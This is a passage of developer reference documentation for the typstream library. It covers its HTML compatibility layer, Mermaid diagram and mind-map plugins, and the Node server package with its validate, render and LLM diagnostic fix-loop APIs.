| `grid`, `table` | A CSS grid with cells placed as Typst places them (spans, explicit `x`/`y`, gutters), fills, strokes, insets and alignment, functions of `(x, y)` included. Tables are ARIA tables (`role="table"`, rows, cells, column headers), their header repeated on each page they go on to. |
| `align` | Aligned text is an aligned paragraph; blocks move the same way. Vertical alignment places a block in the room its page leaves. |
| `block`, `box` | `div.ts-block` / `span.ts-box` with width, height, fill, stroke, inset, radius and baseline. Strokes are drawn on the edge and take no room. |
| `rect`, `square`, `circle`, `ellipse` | `div.ts-shape` with the same properties. |
| `stack`, `columns`, `colbreak`, `pad` | Flexbox; columns that fill as Typst's do (no balancing); padding. |
| `place` | Absolutely positioned against the nearest box, block or shape; `float: true` stays in flow. |
| `v`, `h` | Fixed gaps. `v(1fr)` takes what its page leaves, `h(1fr)` what its line leaves. |
| `pagebreak` | A page break on the renderer's pages; weak ones only where the page isn't empty. |
| `move`, `rotate`, `scale`, `skew` | CSS transforms. `hide` is `visibility: hidden`. `repeat` repeats its body, clipped to the box. |
| `line` | A rule when horizontal; otherwise drawn. |
| `curve`, `polygon`, angled lines; boxes and blocks that hold them; boxes and blocks made only of `place`d pieces (diagrams, CeTZ canvases); equations with `cancel` | Inline SVG in a `.ts-frame` with `role="img"` and the text as `aria-label` (`aria-hidden` when it has no text). |
| Equations | Typst's drawing (inline ones cut where Typst breaks a line, each piece in its line as Typst places it), with the MathML for screen readers. Numbered display equations carry their number. |
| Lists, enums, terms | Typst's marker column, indents and gaps; patterns (`"a)"`, `"i."`) as written. |
| `outline` | Entries with their prefix, a row of dots and the page number, which the renderer writes once it has laid out the pages. |
| `set page(...)` | The page's size, margins, fill, header and footer, for the renderer's pages (on each block's source anchor). `counter(page).final()` reads the page count the renderer gives back. |
| `layout(f)` | Calls `f` with the page's text area. |

Inside a box (an inline element), the prelude writes `span.ts-b` instead of `div`: a `<div>` there would make the
browser close the paragraph and move everything after it out.

## Known gaps

- **Drawn content** (`.ts-frame`) is SVG: its text is in `aria-label`, not selectable. A drawing without text is hidden
  from assistive technology (`aria-hidden`), since there is nothing to read out.
- **fletcher 0.5.8** diagrams stay empty in HTML. Its CeTZ 0.3.4 canvas calls `layout` inside `context`, within the
  package, where neither the prelude's `layout` nor its drawing detection reaches. They render in the paged target.
  CeTZ 0.5 canvases (cetz, cetz-plot, alchemist) become SVG.

## Fonts

The stylesheet sets text in Typst's own fonts (Libertinus Serif, DejaVu Sans Mono for code, the engine's script fonts
for Arabic, Bengali and Devanagari) under the names `registerTypstFonts` registers them by, with the layout profile's
line box as their ascent and descent: lines are then as tall as Typst's and their baselines where Typst puts them. The
`typstream` package registers them; with `@typstream/react` or `@typstream/dom`, pass the engine's fonts (from
`@typstream/engine-wasm/fonts`) as `fonts`, and New Computer Modern Math as `mathFont` for MathML.

## API

| Export | What it is |
| --- | --- |
| [`htmlCompat`](#htmlcompat) | The plugin: prelude file, preamble, sanitizer allowances, stylesheet. |
| [`htmlCompatCss`](#htmlcompatcss) | The stylesheet for the prelude's HTML. |
| [`htmlCompatPreamble`](#htmlcompatpreamble) | Typst that imports and applies the prelude. |
| [`htmlCompatSource`](#htmlcompatsource) | The prelude's Typst source. |
| [`HTML_COMPAT_PATH`](#html_compat_path) | Where the prelude is mounted: `"/@typstream/html-compat.typ"`. |
| [`KNOWN_HTML_WARNINGS`](#known_html_warnings) | Warnings the prelude can't prevent. |

### htmlCompat

```ts
const htmlCompat: TypstreamPlugin;
```

html-compat as a typstream plugin, with key `"html-compat"`:

| Facet | Value |
| --- | --- |
| `engine.files` | `{ [HTML_COMPAT_PATH]: htmlCompatSource }` |
| `engine.preamble` | `htmlCompatPreamble` |
| `sanitize` | Allows `div`, `span` and `svg`; `class`, `style`, `role` and `aria-label` on `div` and `span`; `class` on `ol`. |
| `stylesheets` | `[htmlCompatCss]` |

`typstream`'s `<Typstream>` puts it first, before the plugins you pass. See [Plugins](/docs/concepts/plugins).

### htmlCompatCss

```ts
const htmlCompatCss: string;
```

The stylesheet for the prelude's HTML, plus Typst-like defaults for tables and math. Its rules are scoped to an element
with class `typstream` (the renderer's root) and have zero specificity (`:where`), so your own rules win. The plugin
carries it; use it directly when you render the engine's HTML yourself, for example
`<div class="typstream">` with `<style>` holding this text.

### htmlCompatPreamble

```ts
const htmlCompatPreamble: string;
// '#import "/@typstream/html-compat.typ": html-compat, layout\n#show: html-compat\n'
```

Typst to put before a document: imports the prelude and applies it with `#show: html-compat`. It also replaces
`layout`, which HTML export would drop, with one that reports a fixed text width in HTML. The rules act only on the HTML
target, so the same preamble is safe for paged output.

### htmlCompatSource

```ts
const htmlCompatSource: string;
```

The prelude's Typst source. Mount it at `HTML_COMPAT_PATH`.

### HTML_COMPAT_PATH

```ts
const HTML_COMPAT_PATH = "/@typstream/html-compat.typ";
```

Where the engine mounts the prelude in its virtual file system. Without a plugin-aware layer, for example with
`@typstream/engine-wasm` directly, mount it and prepend the preamble yourself:

```ts
import { HTML_COMPAT_PATH, htmlCompatPreamble, htmlCompatSource } from "@typstream/html-compat";

engine.set_source(HTML_COMPAT_PATH, htmlCompatSource);
engine.set_source("/main.typ", htmlCompatPreamble + documentText); // shift diagnostic spans by the preamble's length
const { html } = engine.compile_html();
```

With `@typstream/node`, pass the same pair as options:
`{ files: { [HTML_COMPAT_PATH]: htmlCompatSource }, preamble: htmlCompatPreamble }`.

### KNOWN_HTML_WARNINGS

```ts
const KNOWN_HTML_WARNINGS: readonly string[]; // ["page set rule was ignored during HTML export"]
```

Warnings the prelude can't prevent, as message substrings. Filter them out when you show HTML-target diagnostics, or
count them as expected in tests.

```ts
const shown = diagnostics.filter((d) => !KNOWN_HTML_WARNINGS.some((w) => d.message.includes(w)));
```

## See also

- [Render targets](/docs/concepts/render-targets): HTML versus paged output.
- [Theming](/docs/guides/theming): styling the HTML target.
- [Typst packages](/docs/guides/typst-packages): CeTZ and the other packages in HTML.
- [Compatibility](/docs/resources/compatibility): what renders where.
- [@typstream/universe](/docs/reference/universe): the packages whose drawings become SVG.


# @typstream/mermaid

> Mermaid diagrams in typstream documents, drawn by pele in the engine's worker, the same on pages, in the HTML target, the PDF and a DOCX export; a plugin with its prompt kit.

Source: https://typstream.vercel.app/docs/reference/mermaid

`@typstream/mermaid` draws [Mermaid](https://mermaid.js.org) diagrams in typstream documents with
[pele](https://pele.run), a fast Mermaid renderer by the creator of Obsidian. A model writes a raw block with the
language `mermaid`, as it would in Markdown, and the document shows the diagram: flowcharts, sequence, class, state and
entity relationship diagrams, Gantt charts, timelines, pie, quadrant and XY charts, user journeys, mind maps and every
other type Mermaid 12 has.

## Install

```npm
npm install @typstream/mermaid
```

## Example

```tsx
import { htmlCompat } from "@typstream/html-compat";
import { mermaid } from "@typstream/mermaid";
import { Typstream } from "typstream";

// `typstream`'s <Typstream> has html-compat already; with @typstream/react, list it before mermaid.
<Typstream source={text} plugins={[mermaid]} />;
```

```ts
import { buildSystemPrompt, edu } from "@typstream/edu";
import { mermaid } from "@typstream/mermaid";

// The model learns to write ```mermaid blocks, and to caption them as figures.
const system = buildSystemPrompt([edu, mermaid]);
```

````typst
= The water cycle

#figure(kind: image, caption: [The water cycle.])[
  ```mermaid
  flowchart LR
    A[Ocean] -->|Evaporation| B[Water vapour]
    B -->|Condensation| C[Clouds]
    C -->|Precipitation| D[Rain and snow]
    D -->|Runoff| A
  ```
]
````

A diagram in a figure needs `kind: image`: Typst numbers a figure of a raw block as a code listing otherwise.

## How it draws

Typst can't run pele, which is JavaScript, so the engine's worker draws each block before the compile, with a
[file generator](/docs/reference/core#filegenerator) the plugin names by URL (`MERMAID_GENERATOR`). The worker writes
what it drew into the plugin's Typst package, and the plugin's preamble shows every `mermaid` block as its drawing:

- **Shapes** are pele's SVG, as an image, its CSS variables resolved to pele's light theme.
- **Labels** are Typst text, set in Libertinus Serif (DejaVu Sans Mono for monospace ones), which pele measured them
  in. An SVG image's text would come out in the browser's fonts on pages and in another face in the PDF; as Typst text
  it is the same everywhere, and can be selected and searched.
- **Size**: 16 of pele's pixels are the text size, and a diagram shrinks to fit its column. A diagram wider than the
  text of Typst's default page is laid out again for that width, as pele lays diagrams out for narrow screens (a
  left-to-right flowchart turns top to bottom), so its text stays readable on paper.
- **Streaming**: a block shows its code until its first drawing, then keeps its last drawing while the stream cuts its
  source mid-line, so a diagram grows instead of flickering. In final mode (and in exports) a block pele can't read
  shows pele's error above its code.

Because a diagram is Typst output, it is in every target: the paged view, the HTML target (as html-compat's picture of
it), `exportPdf()`, standalone HTML and `exportDocx()`, where it is a picture with its labels on it. The plugin's
conformance suite checks each against Typst's PDF. pele runs with links, images and icons off, so a diagram fetches
nothing and links nowhere.

The generator module is about 276 KB gzipped (pele, and the label font's widths). The worker imports it when a
document with the plugin opens; nothing of it is on the main thread. Bundlers emit it as an asset next to the plugin.
Under a strict Content-Security-Policy, the worker's `script-src` must allow it (it is same-origin unless your
bundler puts assets elsewhere).

### Without the worker

A server that runs no client modules (`clientFixers: false`, as `@typstream/node` sets) ignores the plugin's
`generatorModules`, and documents show their blocks as code. `@typstream/node` can't run generators yet; a server
built on `createServer` can be given the generator itself:

```ts
import mermaidGenerator from "@typstream/mermaid/generator";
import { createServer } from "@typstream/engine/server";

const server = createServer(adapter, post, { clientFixers: false, generators: [mermaidGenerator] });
```

A worker of your own can do the same with `serve(adapter, undefined, { generators: [mermaidGenerator] })`, which
bundles pele into the worker instead of loading it by URL. `mermaidGenerator` is beta, like file generators.

## Exports

| Export | |
| --- | --- |
| `mermaid` | The plugin: the Typst package and its preamble, the generator module, the prompt kit. Depends on html-compat. |
| `mermaidFiles` | The Typst package's files under `MERMAID_ROOT`, and the empty index of drawings the generator replaces. |
| `mermaidPreamble` | Typst that shows every `mermaid` raw block as its diagram. |
| `MERMAID_GENERATOR` | The URL of the generator module the worker imports. |
| `mermaidPromptRules` | How to write diagrams, for the system prompt: which kinds, Sankey diagrams' CSV without a header row, captions, labels. |
| `mermaidExamples` | Whole documents with diagrams, for few-shot prompts. |
| `MERMAID_VERSION`, `MERMAID_ROOT` | The Typst package's version and spec (`@typstream/mermaid:0.1.0`). |

`@typstream/mermaid/generator`'s default export, `mermaidGenerator`, is the `FileGenerator` itself.


# @typstream/mindmap

> Mind maps written as a list, drawn in plain Typst for print and PDF, and interactive in the viewer (pan, zoom, open and close branches); a plugin with its prompt kit and the first render island.

Source: https://typstream.vercel.app/docs/reference/mindmap

`@typstream/mindmap` adds mind maps to typstream documents. A model writes one as a list: the centre topic, then its
branches, nested by indentation. Typst draws it, and that drawing is what prints, what `exportPdf()` and standalone HTML
contain, and what any renderer without the island shows. In `<Typstream>`, the interactive map mounts over the drawing:
readers pan, zoom, and open and close branches. It is the first [render island](/docs/guides/islands).

## Install

```npm
npm install @typstream/mindmap
```

## Example

```tsx
import { mindmap } from "@typstream/mindmap";
import { mindmapIslands } from "@typstream/mindmap/react";
import { Typstream } from "typstream";

<Typstream source={text} plugins={[mindmap]} islands={mindmapIslands} />;
```

```ts
import { buildSystemPrompt, edu } from "@typstream/edu";
import { mindmap } from "@typstream/mindmap";

// The model learns `#mindmap` and when to use it.
const system = buildSystemPrompt([edu, mindmap]);
```

Without `islands`, documents show the drawing: the plugin alone is enough for print, PDF and non-React apps.

```typst
#mindmap[
  Photosynthesis
  - Inputs
    - Sunlight
    - Water ($H_2 O$)
    - Carbon dioxide
  - #topic(collapsed: true)[Where]
    - Leaves
    - Chloroplasts
  - Outputs
    - Glucose
    - Oxygen
]
```

## Writing a mind map

The text before the list is the centre. Each `-` (or `+`) item is a node; items indented under it are its branches.
Labels are content, so `$H_2 O$` and `*bold*` work in the drawing; the interactive map shows them as plain text, with
math's sub- and superscripts as Unicode (H₂O).

### `mindmap`

```typst
#mindmap(style: "visual", layout: "both", text-size: 1em)[centre and branches]
```

| Parameter | Default | |
| --- | --- | --- |
| `style` | `"visual"` | `"visual"`: a colour per main branch, and images. `"text-focused"`: neutral colours, no images, wider labels, for printing and revision. |
| `layout` | `"both"` | `"both"`: branches on both sides of the centre, the first half on the right. `"right"`: all on one side, which grows in the text's direction (left in Arabic). For narrow columns. |
| `text-size` | the document's | The main branches' text size; the centre is 1.25 times it and deeper levels 0.9 times. |

The drawing scales down to fit the column.

### `topic`

Wrap a label in `#topic(...)` to set that node's options. Nodes below a coloured one take its colour unless they set
their own.

| Parameter | Default | |
| --- | --- | --- |
| `color` | the branch's | A Typst colour or a hex string (`"#dc2626"`): the node's border, tint, and the lines to its children. |
| `size` | by level | Text size. |
| `weight` | bold for the centre and main branches | `"bold"` or `"regular"`. |
| `image` | none | An `image(...)` above the label, with `alt` as its caption. Not shown in `text-focused` maps. |
| `collapsed` | `false` | Its branches start hidden: the interactive map opens them on a click, and the drawing shows how many there are (`+3`). |

```typst
#mindmap(style: "text-focused")[
  #topic(size: 14pt)[Causes of World War I]
  - #topic(color: "#2563eb")[Alliances]
    - Triple Entente
    - Triple Alliance
  - #topic(color: "#dc2626")[Trigger]
    - Assassination of Franz Ferdinand
  - #topic(collapsed: true)[Further reading]
    - Clark, The Sleepwalkers
]
```

An image is a Typst `image` call, so it goes through the engine's [image handling](/docs/guides/images): nothing is
fetched unless your `resolveImage` allows the URL, and a missing image is a placeholder. The interactive map shows the
same bytes the drawing used (`IslandProps.file`) and never fetches a URL itself.

### While it streams

Every cut of a stream leaves something that compiles and draws what has arrived: `#mindmap[` draws nothing, a half-typed
label is a node, and an option cut mid-value (`color: "#16`, `weight: "bo`) falls back to its default. In `<Typstream>`
the interactive map mounts once and grows with the stream; it fits itself to its box until the reader moves it. Its
`isIncomplete` is true while the map's source is still arriving.

## Interactivity

- **Pan** by dragging. **Zoom** with a pinch, Ctrl or ⌘ and the wheel, or the buttons (shown when the map is at least
  140 px tall). The plain wheel scrolls the page, so a map never traps scrolling.
- **Open and close** a branch by clicking its node, or with Enter or Space once it has focus (Tab moves through the
  nodes). Each node's accessible name says whether it is expanded and how many nodes it hides.
- **Read-only.** Nothing the reader does changes the document.

The map lays out the way the drawing does, measuring labels in the page's font, so it looks like what prints. It paints
its own background over the drawing (`--typstream-island-background`, default `Canvas`), and print shows the drawing.

### Paged target

On pages (`target="paged"`), the map mounts in a box over its drawing on the page: as wide as the column and as tall as
the drawing, scaled with the page. The page's canvas keeps the drawing, which is what prints and exports; the island
covers it with white, the paper. A map that moves as text before it streams in, or onto the next page, stays mounted.

## Cost

React Flow ([`@xyflow/react`](https://reactflow.dev), MIT) draws the interactive map. It is about 59 KB gzipped, loaded
the first time a document shows a map, not before; the drawing stays visible under the island meanwhile.

A map costs 9–11 ms per compile while streaming in the engine (median; 16–17 ms at p90), against under 5 ms for the same
text as a plain list. It is drawn in plain Typst, not with CeTZ, whose first canvas costs 100–260 ms.

## API

| Export | What it is |
| --- | --- |
| [`mindmap`](#mindmap-1) | The plugin. |
| [`MindMapIsland`](#mindmapisland), [`mindmapIslands`](#mindmapislands) | The interactive map, from `@typstream/mindmap/react`. |
| [`parseMindMap`](#parsemindmap), [`mindmapIsland`](#mindmapisland-1) | The check of a marker's data, and the island's spec. |
| [`MindMapData`](#mindmapdata), [`MindMapNode`](#mindmapdata) | What the marker carries. |
| `mindmapFiles`, `mindmapPreamble`, `MINDMAP_ROOT`, `MINDMAP_VERSION` | The Typst package, mounted as `@typstream/mindmap:0.1.0`. |
| `mindmapCatalogue`, `mindmapPromptRules`, `mindmapExamples` | The prompt kit. |
| `MAX_NODES` | The most nodes a map's data may have (2,000); a larger map keeps its drawing. |

### mindmap

```ts
const mindmap: TypstreamPlugin;
```

The plugin, with key `"mindmap"`:

- `engine.files` and `engine.preamble`: the Typst package, and `#import "@typstream/mindmap:0.1.0": mindmap, topic`.
- `prompt`: the catalogue of `mindmap` and `topic` from their doc comments, rules (when to draw a map, short labels in a
  logical order, colours with a reason, images only on a few key nodes), and two example documents.
- `islands.mindmap`: [`mindmapIsland`](#mindmapisland-1).

### MindMapIsland

```ts
const MindMapIsland: (props: IslandProps<MindMapData>) => JSX.Element;
```

The `mindmap` island as a React component, for `<Typstream islands>` and `<TypstreamProvider islands>`. React Flow and
the map's code load lazily, inside its own `Suspense`.

### mindmapIslands

```ts
const mindmapIslands: { readonly mindmap: typeof MindMapIsland };
```

`{ mindmap: MindMapIsland }`, to pass as `islands`.

### parseMindMap

```ts
function parseMindMap(data: unknown): MindMapData | undefined;
```

Checks a marker's data, which the document wrote and is untrusted: the shape the Typst side writes, colours as hex,
sizes and label lengths in range, at most 2,000 nodes and 16 levels. Anything else is `undefined`, and the drawing stays.

### mindmapIsland

```ts
const mindmapIsland: IslandSpec<MindMapData>;
```

The island's spec: its description and [`parseMindMap`](#parsemindmap).

### MindMapData

### MindMapData

A mind map island's data.

| Prop     | Type                         | Description                                                                      |
| -------- | ---------------------------- | -------------------------------------------------------------------------------- |
| `v`      | `1`                          | The format's version.                                                            |
| `style`  | `"text-focused" \| "visual"` | `visual` (colours, images) or `text-focused` (neutral, no images, wider labels). |
| `layout` | `"both" \| "right"`          | Branches on both sides of the centre, or all on one.                             |
| `dir`    | `"ltr" \| "rtl"`             | The text direction; a one-sided map grows in it.                                 |
| `size`   | `number`                     | The text size of the main branches, in points; other sizes are relative to it.   |
| `root`   | `MindMapNode`                | The centre topic.                                                                |

### MindMapNode

A node of a mind map, as the marker carries it: every value resolved by the Typst side.

| Prop         | Type                                         | Description                                                                            |
| ------------ | -------------------------------------------- | -------------------------------------------------------------------------------------- |
| `label`      | `string`                                     | Its label as plain text (math's sub- and superscripts as Unicode).                     |
| `color`      | `string`                                     | Its colour, `#rrggbb` or `#rrggbbaa`: border, tint, and the lines to its children.     |
| `size`       | `number`                                     | Text size, in points.                                                                  |
| `weight`     | `number \| "bold" \| "regular"`              | Font weight: `bold`, `regular`, or a number from 100 to 900.                           |
| `side?`      | `"left" \| "right" \| undefined`             | On a main branch: the side of the centre it is drawn on.                               |
| `image?`     | `{ src: string; alt: string; } \| undefined` | An image above the label: the path the document named (a URL, a file) and its caption. |
| `collapsed?` | `boolean \| undefined`                       | Its branches start hidden.                                                             |
| `children?`  | `MindMapNode[] \| undefined`                 | Its branches, in order; a collapsed node's too, which the interactive map can open.    |


# @typstream/node

> Typst on the server, to validate and render documents, run the LLM fix loop, and serve the engine protocol over WebSocket.

Source: https://typstream.vercel.app/docs/reference/node

`@typstream/node` runs Typst 0.15.1 on Node's worker threads, for apps that save documents a model wrote. It runs
`@typstream/engine-wasm`, the same build browsers run, so a document that validates on the server renders the same in
the preview. A watchdog stops runaway documents without taking the process down.

## When to use it

Use it on the server, where `@typstream/engine` (a Web Worker) doesn't run:

- **validate** a document before you save it, with lint warnings for Markdown habits;
- **render** it to PDF, HTML or SVG pages;
- turn its diagnostics into a **repair prompt** and run the **fix loop** with your model;
- **serve the engine protocol** over WebSocket to browsers that shouldn't download the 6 MB engine.

For live rendering in the browser, use [`typstream`](/docs/reference/typstream) or
[`@typstream/react`](/docs/reference/react) instead. Node 20 or later is required.

## Install

```npm
npm install @typstream/node
```

## Example

```ts
import { fixLoop, formatDiagnosticsForLLM, render, validate } from "@typstream/node";

const { ok, diagnostics } = await validate(source);
if (!ok) console.log(formatDiagnosticsForLLM(source, diagnostics));

const result = await fixLoop({
  source,
  generate: async ({ prompt, source }) => callYourModel(`${prompt}\n\n${source}`),
});
if (result.ok) {
  const pdf = await render(result.source, "pdf");
  if (pdf.ok) save(pdf.data);
}
```

[Server fix loop](/docs/guides/server-fix-loop) walks through this with a real model.

## Document options

Every compile (`validate`, `render`, `fixLoop`) takes these options. Positions in diagnostics are UTF-16 offsets into
`source`, as everywhere in typstream; a diagnostic inside the preamble carries `file: { path: "<preamble>" }`.

### DocumentOptions

Options every compile takes.

| Prop         | Type                                       | Description                                                                                                       |
| ------------ | ------------------------------------------ | ----------------------------------------------------------------------------------------------------------------- |
| `preamble?`  | `string \| undefined`                      | Typst evaluated before the document (theme, imports). Diagnostics inside it carry `file: { path: "<preamble>" }`. |
| `files?`     | `Record<string, FileContent> \| undefined` | Files the document reads (images, data, other `.typ` files), by path relative to the document.                    |
| `inputs?`    | `Record<string, string> \| undefined`      | `sys.inputs`.                                                                                                     |
| `engine?`    | `NodeEngine \| undefined`                  | Default: defaultEngine.                                                                                           |
| `timeoutMs?` | `number \| undefined`                      | Watchdog budget for this compile; default the engine's `timeoutMs`.                                               |

Documents can't read the server's filesystem or reach the network: they see only the `files` you pass. A file path is
relative to the document (`img/a.png`); paths that escape it (`..`) are rejected. To compile documents written in a
plugin's vocabulary, pass its preamble and files, for example `@typstream/edu`'s:

```ts
import { eduFiles, eduPreamble } from "@typstream/edu";
import { validate } from "@typstream/node";

const result = await validate(source, {
  preamble: eduPreamble,
  files: eduFiles,
  inputs: { showAnswers: "true" }, // the teacher's copy
});
```

Typst Universe packages are not fetched. A document can import one only if you mount its files yourself, under its spec
(`@preview/cetz:0.5.3/lib.typ` and so on).

## API

| Export | What it does |
| --- | --- |
| [`validate(source, options?)`](#validate) | Compiles without exporting and adds lint warnings: `{ ok, diagnostics, pageCount?, ms }`. |
| [`render(source, format, options?)`](#render) | Compiles and exports `"pdf"`, `"html"` or `"svg"`. |
| [`formatDiagnosticsForLLM(source, diagnostics, options?)`](#formatdiagnosticsforllm) | A compact repair prompt in the Typst CLI's layout. |
| [`fixLoop(options)`](#fixloop) | Validate, ask the model for a fix, repeat, and keep the best attempt. |
| [`createEngine(options?)`](#createengine) | A worker pool with its own fonts and budgets. |
| [`defaultEngine()`](#defaultengine) | The shared engine used when you pass none. |
| [`createProtocolServer(options?)`](#createprotocolserver) | The engine protocol, served from Node. |
| [`handleWebSocket(socket, server)`](#handlewebsocket) | Serves one WebSocket connection with a protocol server. |

### validate

```ts
const validate: (source: string, options?: ValidateOptions) => Promise<ValidateResult>;
```

Checks a finished document before it is saved: compiles it without exporting and adds `@typstream/heal`'s lint findings
as warnings (source `"heal"`, the rule id as `code`, with a hint saying what to replace). Those catch Markdown habits
that compile but render wrongly, such as `**bold**` or `$5 and $10`. It never throws for a broken document. `ok` is true
when there are no errors; warnings don't count.

```ts
const { ok, diagnostics, pageCount } = await validate(source, { target: "html" });
```

### ValidateOptions

Options for validate: the document's, plus what to check it for.

| Prop         | Type                                                                           | Description                                                                                                                                                                                                        |
| ------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `target?`    | `CompileTarget \| undefined`                                                   | Which output to compile for. Default `paged`, what gets printed; `html` also catches problems specific to HTML export.                                                                                             |
| `lint?`      | `boolean \| Partial<Record<LintRuleId, boolean \| LintSeverity>> \| undefined` | Report `@typstream/heal`'s lint findings as warnings (default true). They catch Markdown habits that compile but render wrongly (`**bold**`, `$5 and $10`). Pass heal's `lint` settings to configure single rules. |
| `preamble?`  | `string \| undefined`                                                          | Typst evaluated before the document (theme, imports). Diagnostics inside it carry `file: { path: "<preamble>" }`.                                                                                                  |
| `files?`     | `Record<string, FileContent> \| undefined`                                     | Files the document reads (images, data, other `.typ` files), by path relative to the document.                                                                                                                     |
| `inputs?`    | `Record<string, string> \| undefined`                                          | `sys.inputs`.                                                                                                                                                                                                      |
| `engine?`    | `NodeEngine \| undefined`                                                      | Default: defaultEngine.                                                                                                                                                                                            |
| `timeoutMs?` | `number \| undefined`                                                          | Watchdog budget for this compile; default the engine's `timeoutMs`.                                                                                                                                                |

### ValidateResult

What validate found.

| Prop          | Type                  | Description                                                            |
| ------------- | --------------------- | ---------------------------------------------------------------------- |
| `ok`          | `boolean`             | No errors. Warnings (including lint findings) don't count.             |
| `diagnostics` | `Diagnostic[]`        | Sorted and deduplicated; positions are UTF-16 offsets into the source. |
| `pageCount?`  | `number \| undefined` | Pages of the paged document, when it compiled.                         |
| `ms`          | `number`              | Wall-clock milliseconds.                                               |

### render

```ts
const render: <F extends RenderFormat>(source: string, format: F, options?: DocumentOptions) => Promise<RenderResult<F>>;
type RenderFormat = "pdf" | "html" | "svg";
```

Compiles and exports a document. `data` is PDF bytes (`Uint8Array`) for `"pdf"`, an HTML document (`string`) for
`"html"`, and one SVG string per page (`string[]`) for `"svg"`. Diagnostics are Typst's only (no lint). `ok: false`
means it didn't compile and there is no `data`.

```ts
const pdf = await render(source, "pdf", { preamble: eduPreamble, files: eduFiles });
if (pdf.ok) await writeFile("worksheet.pdf", pdf.data);
else console.error(pdf.diagnostics);
```

```ts
type RenderResult<F extends RenderFormat = RenderFormat> =
  | { ok: true; diagnostics: Diagnostic[]; data: RenderData[F]; pageCount?: number; ms: number }
  | { ok: false; diagnostics: Diagnostic[]; ms: number };

interface RenderData {
  pdf: Uint8Array;
  html: string;
  svg: string[];
}
```

### formatDiagnosticsForLLM

```ts
const formatDiagnosticsForLLM: (source: string, diagnostics: readonly Diagnostic[], options?: FormatOptions) => string;
```

Formats diagnostics as a compact repair prompt: a summary line, then each problem the way the Typst CLI prints it
(message, location, the source line with the span underlined, notes and hints), then instructions. Errors come first,
repeats are dropped, output is capped by `maxDiagnostics` and long lines are clipped, so the prompt stays small for
large documents. With no diagnostics it returns `"The Typst document compiles without problems."`.

```ts
const { diagnostics } = await validate("= Results\n*Total*: #hilight[12]\n");
formatDiagnosticsForLLM(source, diagnostics);
```

```text
The Typst document has 1 error.

error: unknown variable: hilight
 --> line 2, column 11
  |
1 | = Results
2 | *Total*: #hilight[12]
  |           ^^^^^^^
3 |

Fix every error, and the warnings where they point at a real mistake. Reply with the complete corrected Typst document only.
```

### FormatOptions

How formatDiagnosticsForLLM writes its prompt.

| Prop               | Type                   | Description                                                                                  |
| ------------------ | ---------------------- | -------------------------------------------------------------------------------------------- |
| `maxDiagnostics?`  | `number \| undefined`  | Most diagnostics to include, errors first. Default 10.                                       |
| `contextLines?`    | `number \| undefined`  | Source lines shown before and after each problem line. Default 1.                            |
| `includeWarnings?` | `boolean \| undefined` | Include warnings (and lint findings). Default true.                                          |
| `instructions?`    | `string \| undefined`  | Text after the diagnostics. Default asks for the complete corrected document; `""` for none. |

### fixLoop

```ts
const fixLoop: (options: FixLoopOptions) => Promise<FixLoopResult>;
```

Validates `source`; while it has errors, asks `generate` for a corrected document and validates that, for at most
`maxRounds` rounds. It returns the best attempt (fewest errors, then fewest warnings, then the latest), so a reply that
makes things worse never replaces a better one. A Markdown code fence around the model's reply is removed. With
`strict`, documents that only have warnings are repaired too.

`FixLoopOptions` extends [`ValidateOptions`](#validate), so `preamble`, `files`, `inputs`, `target`, `lint` and `engine`
apply to every round.

```ts
const result = await fixLoop({
  source,
  strict: true, // also repair lint warnings such as **bold**
  maxRounds: 2,
  generate: async ({ prompt, source, round }) => {
    const reply = await callYourModel(`${prompt}\n\n${source}`);
    return reply.text;
  },
});
console.log(result.ok, result.attempts.length - 1, "rounds");
```

### FixLoopOptions

What fixLoop repairs and how. The ValidateOptions apply to
every round's validation.

| Prop         | Type                                                                           | Description                                                                                                                                                                                                        |
| ------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `source`     | `string`                                                                       | The document to validate and, if it has errors, repair.                                                                                                                                                            |
| `generate`   | `(request: FixRequest) => string \| Promise<string>`                           | Asks the model for a corrected document. A Markdown code fence (`typst` or `typ`) around the reply is removed.                                                                                                     |
| `maxRounds?` | `number \| undefined`                                                          | Most repair rounds (calls to `generate`). Default 3.                                                                                                                                                               |
| `strict?`    | `boolean \| undefined`                                                         | Also repair documents that only have warnings, until none are left. Default false: errors only.                                                                                                                    |
| `format?`    | `FormatOptions \| undefined`                                                   | How each round's `prompt` is written; passed to formatDiagnosticsForLLM.                                                                                                                                           |
| `preamble?`  | `string \| undefined`                                                          | Typst evaluated before the document (theme, imports). Diagnostics inside it carry `file: { path: "<preamble>" }`.                                                                                                  |
| `files?`     | `Record<string, FileContent> \| undefined`                                     | Files the document reads (images, data, other `.typ` files), by path relative to the document.                                                                                                                     |
| `inputs?`    | `Record<string, string> \| undefined`                                          | `sys.inputs`.                                                                                                                                                                                                      |
| `engine?`    | `NodeEngine \| undefined`                                                      | Default: defaultEngine.                                                                                                                                                                                            |
| `timeoutMs?` | `number \| undefined`                                                          | Watchdog budget for this compile; default the engine's `timeoutMs`.                                                                                                                                                |
| `target?`    | `CompileTarget \| undefined`                                                   | Which output to compile for. Default `paged`, what gets printed; `html` also catches problems specific to HTML export.                                                                                             |
| `lint?`      | `boolean \| Partial<Record<LintRuleId, boolean \| LintSeverity>> \| undefined` | Report `@typstream/heal`'s lint findings as warnings (default true). They catch Markdown habits that compile but render wrongly (`**bold**`, `$5 and $10`). Pass heal's `lint` settings to configure single rules. |

### FixRequest

What fixLoop asks the model to repair.

| Prop          | Type           | Description                                                                        |
| ------------- | -------------- | ---------------------------------------------------------------------------------- |
| `source`      | `string`       | The document as it stands.                                                         |
| `diagnostics` | `Diagnostic[]` | Its diagnostics from validate: Typst's and lint findings, sorted and deduplicated. |
| `prompt`      | `string`       | formatDiagnosticsForLLM of the two above.                                          |
| `round`       | `number`       | 1 for the first repair.                                                            |

### FixLoopResult

What fixLoop ends with: the best attempt, and every attempt it made.

| Prop          | Type           | Description                                                                    |
| ------------- | -------------- | ------------------------------------------------------------------------------ |
| `ok`          | `boolean`      | The best attempt is acceptable (no errors; with `strict`, no warnings either). |
| `source`      | `string`       | The best attempt: fewest errors, then fewest warnings, then the latest.        |
| `diagnostics` | `Diagnostic[]` | The best attempt's diagnostics, lint findings included.                        |
| `attempts`    | `FixAttempt[]` | Every attempt, starting with the original source.                              |

### FixAttempt

One validated version of the document.

| Prop          | Type           | Description                                                                              |
| ------------- | -------------- | ---------------------------------------------------------------------------------------- |
| `source`      | `string`       | The text validated: the original source, or a model's reply with its code fence removed. |
